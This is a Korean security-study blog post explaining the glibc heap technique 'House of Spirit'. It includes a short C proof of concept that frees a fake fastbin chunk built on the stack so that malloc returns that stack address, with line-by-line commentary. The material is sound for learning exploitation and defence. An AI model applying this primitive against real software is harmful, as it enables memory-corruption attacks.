HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • JNDI
  • 아파치
  • 취약점
  • log4j

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9

HO9

[How2Heap] House of Spirit
SYSTEM HACKING/기법

[How2Heap] House of Spirit

2018. 2. 1. 22:42
728x90

House of Spirit에 대한 것을 정리하고자 한다.



소스코드는 https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit.html에 있는 소스코드를 참조를 하였다.


House_of_Spirit.c


1. #include<stdio.h>

2. 

3. 

4. struct fast_chunk {

5.  size_t prev_size;

6.  size_t size;

7.  struct fast_chunk *fd;

8.  struct fast_chunk *bk;

9.  char buf[0x20];                   // chunk falls in fastbin size range

10. };


11. int main(){

12.

13. struct fast_chunk fake_chunks[2];   // Two chunks in consecutive memory

14. void *ptr, *victim;

15.

16. ptr = malloc(0x30);                 // First malloc

17.

18. // Passes size check of "free(): invalid size"

19. fake_chunks[0].size = sizeof(struct fast_chunk);  // 0x40

20.

21.    // Passes "free(): invalid next size (fast)"

22. fake_chunks[1].size = sizeof(struct fast_chunk);  // 0x40

23.

24.

25. ptr = (void *)&fake_chunks[0].fd;

26.

27. free(ptr);

28.

29. victim = malloc(0x30);

30.

31. printf("fake_chunks : %p\n",&fake_chunks[0].fd);

32. printf("victim      : %p\n",victim);

33. }






4줄:chunk와 동일한 구조의 구조체를 만들어 준 것을 볼 수 있다.

13줄:fast_chunk구조체를 이용해서 fake_chunks 라는 변수 두개를 스택에 올림.

16줄:ptr에 0x30의 사이즈를 malloc을 해서 청크를 받음.

19줄,22줄:"free() : invalid size"오류를 막기 위해서 size를 값을 지정해줌.

25줄:ptr의 포인터 주소를 fake_chunks의 fd주소로 수정.

27줄:ptr을 free해준다.
 (ptr의 포인터 주소를 fake_chunks[0].fd로 변경을 하였으니 fdke_chunks가 fastbin에 올라갈 것이다.)

29줄:victim에 malloc을 해준다.
  (fastbin에는 fake_chunks의 주소가 들어있을 것이다.그러므루 victim에는 fake_cunks의 주소가 들어가게 된다.)



이와 같이 fake_chunks의 주소와 victim의 주소가 같은 것을 확인 할 수 있다.





'SYSTEM HACKING > 기법' 카테고리의 다른 글

Return to Csu  (0) 2020.04.26
[How2Heap] House of Force  (0) 2018.03.08
[How2Heap] Fastbin dup into Stack  (0) 2018.01.28
Special Chapter-Double Stage Format String Bug  (0) 2018.01.01
DAY-8 FSB(Format String Bug)  (0) 2017.12.31
    'SYSTEM HACKING/기법' 카테고리의 다른 글
    • Return to Csu
    • [How2Heap] House of Force
    • [How2Heap] Fastbin dup into Stack
    • Special Chapter-Double Stage Format String Bug
    HO_9
    HO_9

    티스토리툴바